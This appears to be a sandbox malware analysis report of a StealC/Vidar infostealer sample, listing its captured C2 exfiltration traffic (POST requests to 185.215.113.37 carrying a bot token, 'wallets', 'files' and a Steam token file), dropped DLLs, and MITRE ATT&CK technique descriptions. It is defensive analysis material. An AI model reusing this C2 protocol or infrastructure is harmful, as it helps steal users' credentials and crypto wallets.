Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 44 47 49 44 47 49 4a 4b 4b 45 42 47 44 41 45 43 41 2d 2d 0d 0a Data Ascii: ------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------HCGDGIDGIJKKEBGDAECAContent-Disposition: form-data; name="message"wallets------HCGDGIDGIJKKEBGDAECA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBKHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="message"files------JKEGHDGHCGHDHJKFBFBK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCFHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="file"------IJJJKEGHJKFHJKFHDHCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="message"ybncbhylepme------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCBHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 66 36 35 31 30 64 64 38 30 31 39 31 61 64 35 39 64 64 38 33 65 39 38 38 34 37 36 37 36 62 36 39 63 32 64 39 38 64 34 64 35 32 34 36 38 66 62 61 37 64 65 30 33 33 38 32 64 65 66 64 34 32 34 38 65 61 34 65 65 65 63 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"1f6510dd80191ad59dd83e98847676b69c2d98d4d52468fba7de03382defd4248ea4eeec------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEBAFBGIDHCBFHIECFCB--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKEHIECFCAAFIEBGIDA

C:\ProgramData\GDAAKKEHDHCAAAKFCBAKKEHIEC

C:\ProgramData\GHDAKKJJ

C:\ProgramData\GIEHJKEBAAEBGCAAEBFHJKKKEC

C:\ProgramData\HCGDGIDGIJKKEBGDAECA

C:\ProgramData\IJECAEHJJJKJKFIDGCBG

C:\ProgramData\JEBGCBAFCGDAAKFIDGIEGDGDHI

C:\ProgramData\JJJECFIE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00789860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 007745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 0077BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C6135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00784910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00789C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00777710 Relevance: 96.8, APIs: 54, Strings: 1, Instructions: 584
stringmemoryCOMMON

Function 00780250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00775100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre